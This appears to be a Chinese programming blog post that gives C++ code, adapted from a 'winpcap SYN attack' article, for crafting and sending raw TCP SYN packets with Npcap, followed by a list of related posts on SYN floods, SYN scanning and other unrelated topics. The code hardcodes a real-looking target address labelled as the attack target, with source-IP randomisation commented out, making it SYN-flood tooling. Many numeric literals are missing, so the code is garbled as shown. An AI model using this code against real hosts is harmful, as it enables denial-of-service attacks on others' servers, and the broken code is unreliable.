1、来自:winpcap实现syn攻击 - 125096 - CSDN博客.html(https://blog.csdn.net/qq125096885/article/details/51784524

2、我的代码:(代码 用Npcap来跑,基本不用修改)(Win7x64、vs2017、使用 x86编译的Debug版本)

  1. // Npcap_01.cpp : 此文件包含 "main" 函数。程序执行将在此处开始并结束。
  2. //
  3.  
  4. #include <iostream>
  5.  
  6. #pragma warning(disable : 4996)
  7.  
  8. //int main()
  9. //{
  10. // std::cout << "Hello World!\n";
  11. //}
  12.  
  13. //#define _W64
  14. //#define HAVE_REMOTE
  15. #include<stdio.h>
  16. #include<pcap.h>
  17. #include<winsock2.h>
  18. #include <time.h>
  19. //#include "remote-ext.h"
  20.  
  21. #pragma comment(lib,"wpcap.lib")
  22. #pragma comment(lib,"WS2_32.lib")
  23.  
  24. #pragma pack(push,1)
  25. typedef struct _TCP_SYN
  26. {
  27. unsigned char DstMAC[]; // 目的mac地址
  28. unsigned char SrcMAC[]; // 源mac地址
  29. unsigned char OtherData[];
  30. unsigned short Header_ChechSum; // 校验和
  31. unsigned int SrcIP; // Source IP address
  32. unsigned int DstIP; // Destination IP address
  33. unsigned short SrcPort; // Source IP Port
  34. unsigned short DstPort; // Destination IP Port,一般为80端口,值为0x5000
  35. unsigned char Ohters[];
  36. unsigned short pak_checksum;
  37. unsigned char OtherLast[];
  38. }TCP_SYN, *PTCP_SYN;
  39. #pragma pack(pop)
  40.  
  41. unsigned char bufData[] = "\x00\x25\x86\x27\xd1\x22\x90\x2b\x34\x60\xbd\x44\x08\x00\x45\x00"
  42. "\x00\x34\x61\xdc\x40\x00\x80\x06\x71\x83\xc0\xa8\x01\x6a\x7a\xe4"
  43. "\xea\x6d\x0b\x0c\x00\x50\xb9\xc2\xf5\x06\x00\x00\x00\x00\x80\x02"
  44. "\xff\xff\x8d\x8d\x00\x00\x02\x04\x05\xb4\x01\x03\x03\x01\x01\x01"
  45. "\x04\x02";
  46.  
  47. // clac the header's check sum
  48. unsigned short checksum(unsigned short *buffer, int size)
  49. {
  50. unsigned long cksum = ;
  51. while (size > )
  52. {
  53. cksum += *buffer++;
  54. size -= sizeof(unsigned short);
  55. }
  56. if (size)
  57. {
  58. cksum += *(unsigned char*)buffer;
  59. }
  60. cksum = (cksum >> ) + (cksum & 0xffff);
  61. cksum += (cksum >> );
  62. return (unsigned short)(~cksum);
  63. }
  64.  
  65. int main(int argc, char* argv[])
  66. {
  67. pcap_if_t *alldevs;
  68. pcap_if_t *seldev;
  69. pcap_t *fp;
  70. char errbuf[PCAP_ERRBUF_SIZE];
  71. srand(time());
  72.  
  73. /* 获取本机设备列表 */
  74. if (pcap_findalldevs(&alldevs, errbuf) == -)
  75. {
  76. fprintf(stderr, "Error in pcap_findalldevs: %s\n", errbuf);
  77. exit();
  78. }
  79.  
  80. // 找到一个有ip的就当有连网的网卡了
  81. for (seldev = alldevs; seldev != NULL; seldev = seldev->next)
  82. {
  83. pcap_addr* pcapaddr = NULL;
  84. for (pcapaddr = seldev->addresses; pcapaddr != NULL; pcapaddr = pcapaddr->next)
  85. {
  86. //if (pcapaddr->addr->sa_data[2] != '\0' && pcapaddr->addr->sa_data[3] != '\0')
  87. //{
  88. // break;
  89. //}
  90.  
  91. printf("seldev->name : %s\n", seldev->name);
  92. for (int i = ; i < ; i++)
  93. printf("%d ", (UCHAR)pcapaddr->addr->sa_data[i]);
  94. printf("\n");
  95.  
  96. //printf("%d, %d\n", pcapaddr->addr->sa_data[2], pcapaddr->addr->sa_data[3]);
  97. if ((UCHAR)pcapaddr->addr->sa_data[] == && (UCHAR)pcapaddr->addr->sa_data[] == )
  98. {
  99. printf("will break;\n");
  100. break;
  101. }
  102. }
  103. if (pcapaddr != NULL)
  104. break;
  105.  
  106. printf("\n");
  107. }
  108. if (seldev == NULL)
  109. {
  110. fprintf(stderr, "Can not find network!\n");
  111. exit();
  112. }
  113.  
  114. printf("seldev->name : %d\n", seldev->name);
  115. for (int i = ; i < ; i++)
  116. printf("%d ", (UCHAR)seldev->addresses->addr->sa_data[i]);
  117. printf("\n");
  118.  
  119. /* 打开这个输出设备 */
  120. if ((fp = pcap_open(seldev->name, // 设备名
  121. , // 要捕获的部分 (只捕获前100个字节)
  122. PCAP_OPENFLAG_PROMISCUOUS, // 混杂模式
  123. , // 读超时时间
  124. NULL, // 远程机器验证
  125. errbuf // 错误缓冲
  126. )) == NULL)
  127. {
  128. fprintf(stderr, "\nUnable to open the adapter. %s is not supported by WinPcap\n", alldevs->name);
  129. return -;
  130. }
  131.  
  132. // 修改源MAC、IP地址 , 并修改首部校验和
  133. PTCP_SYN SynData = (PTCP_SYN)bufData;
  134. while ()
  135. {
  136. //memcpy(SynData->SrcMAC, "\x01\x01\x01\x01\x01\x01", 6); // 源MAC地址 01:01:01:01:01:01
  137. memcpy(SynData->SrcMAC, "\x04\xd4\xc4\x59\x7a\x1c", );// 04-D4-C4-59-7A-1C
  138. memcpy(SynData->DstMAC, "\x04\xf9\x38\xa6\xd7\xcb", );// 04-f9-38-a6-d7-cb
  139.  
  140. SynData->DstIP = inet_addr("39.156.69.79"); // 攻击的目标
  141. SynData->DstPort = htons(); // 目标端口80
  142. SynData->SrcIP = inet_addr("172.16.19.181");// (unsigned int)rand(); // 源IP地址随机产生
  143. SynData->SrcPort = htons();// (unsigned short)rand() % 100 + 1024; // 源端口随机产生
  144.  
  145. SynData->Header_ChechSum = ;
  146. SynData->Header_ChechSum = checksum((unsigned short*)&bufData[], ); // 计算checksum
  147. // printf("%d\n", SynData->Header_ChechSum);
  148.  
  149. /* 发送数据包 */
  150. // (wireshark 黑底红字为 校验和错误 的包).
  151. if (pcap_sendpacket(fp, bufData, sizeof(bufData) - ) != )
  152. {
  153. fprintf(stderr, "\nError sending the packet: \n", pcap_geterr(fp));
  154. return -;
  155. }
  156.  
  157. system("pause");
  158. //break;
  159. }
  160.  
  161. /* 释放设备列表 */
  162. pcap_freealldevs(alldevs);
  163. return ;
  164. }

3、

4、

5、

Npcap.例子(raw tcp syn)的更多相关文章

  1. 扯谈网络编程之Tcp SYN flood洪水攻击

    简单介绍 TCP协议要经过三次握手才干建立连接: (from wiki) 于是出现了对于握手过程进行的攻击.攻击者发送大量的SYN包,server回应(SYN+ACK)包,可是攻击者不回应ACK包,这 ...

  2. TCP SYN flood洪水攻击原理和防御破解

    简介 TCP协议要经过三次握手才能建立连接: 于是出现了对于握手过程进行的攻击.攻击者发送大量的SYN包,服务器回应(SYN+ACK)包,但是攻击者不回应ACK包,这样的话,服务器不知道(SYN+AC ...

  3. TCP SYN扫描学习笔记

    1.TCP SYN包扫描主机状态的原理:tcp协议规定,当目标主机收到一个tcp syn 包时,若目标主机处于开放状态,会返回给源主机一个tcp ack 包(目的端口开放),或者向源主机发送一个tcp ...

  4. Windows下C语言的Socket编程例子(TCP和UDP)

    原文:Windows下C语言的Socket编程例子(TCP和UDP) 刚刚学windows编程,所以想写学习笔记,这是一个简单的Socket程序例子,开发环境是vc6: 首先是TCP server端: ...

  5. [转] 3个学习Socket编程的简单例子:TCP Server/Client, Select

    以前都是采用ACE的编写网络应用,最近由于工作需要,需要直接只用socket接口编写CS的代码,重新学习这方面的知识,给出自己所用到的3个简单例子,都是拷贝别人的程序.如果你能完全理解这3个例子,估计 ...

  6. C#Winform窗体实现服务端和客户端通信例子(TCP/IP)

    Winform窗体实现服务端和客户端通信的例子,是参考这个地址 http://www.cnblogs.com/longwu/archive/2011/08/25/2153636.html 进行了一些异 ...

  7. 170410、java Socket通信的简单例子(TCP)

    服务端代码: package com.bobohe.socket; import java.io.*; import java.net.*; import java.applet.Applet; pu ...

  8. Npcap.资料

    1.ZC:Npcap 是 WinPcap停更之后的继承者.我尝试了 Win7中发送raw tcp syn,它的代码和 使用WinPcap的基本一致. Developing software with ...

  9. TCP:三次握手,URG、ACK、PSH、RST、SYN、FIN 含义

    http://blog.csdn.net/wudiyi815/article/details/8505726 TCP:SYN ACK FIN RST PSH URG简析   三次握手Three-way ...

随机推荐

  1. SQL数据库调优

    1.使用With As做数据库递归,调优树形表结构 例如:设计表结构简化如:ID.ParentID.Name:这里的ParentID就是这个表本身的某个ID WITH cte AS ( UNION A ...

  2. Spring AOP的作用,动态代理模式

    AOP即面向切面编程.AOP是基于代理模式的. 代理模式: 当我们需要修改一个类,在类中加入代码时,为了不破坏这个类的封装性.可以使用代理模式,建立一个代理类. 比如:修改需求,在调用UserCont ...

  3. mongodb 开发规范

    一.命名规则 1.数据库命名规则 数据库名可以是满足以下条件的任意UTF-8字符串: (1)不能是空字符串(”") : (2)不能含有”(空格)...$./..和(空字符): (3)应全部小 ...

  4. jsp中submit的连接属性是什么?

    把注册的按钮改成button:<form action="dologin.jsp" method="post">用户<input type=& ...

  5. 2019-2020 ICPC, Asia Jakarta Regional Contest

    目录 Contest Info Solutions A. Copying Homework C. Even Path E. Songwriter G. Performance Review H. Tw ...

  6. PHP全栈学习笔记24

    PHP in_array() 函数 定义和用法 in_array() 函数搜索数组中是否存在指定的值. type 参数被设置为 TRUE,则搜索区分大小写. 语法 in_array(search,ar ...

  7. Lua 常用函数 一

    lua_getallocf lua_Alloc lua_getallocf (lua_State *L, void **ud); 返回给定状态机的内存分配器函数.如果 ud 不是 NULL ,Lua ...

  8. js new call apply bind 的 原理

    new new 做了什么事?1. 以 Object.protoype 为原型创建一个新对象 2. 以新对象为 this,执行函数的 [[call]] 3. 如果 [[call]] 的返回值是对象,那么 ...

  9. js的老生代垃圾回收

    推荐阅读:<JS 闯关记>之垃圾回收和内存管理 常见的垃圾回收有2种策略:标记清除 和 引用计数 标记清除 会遍历堆中所有的对象,然后标记活的对象,在标记完成后,销毁所有没有被标记的对象. ...

  10. [bzoj 5332][SDOI2018]旧试题

    传送门 Description \[ \sum_{i=1}^A\sum_{j=1}^B\sum_{k=1}^Cd(ijk) (\mathrm{mod\:} 10^9+7) \] 其中 \(d(ijk) ...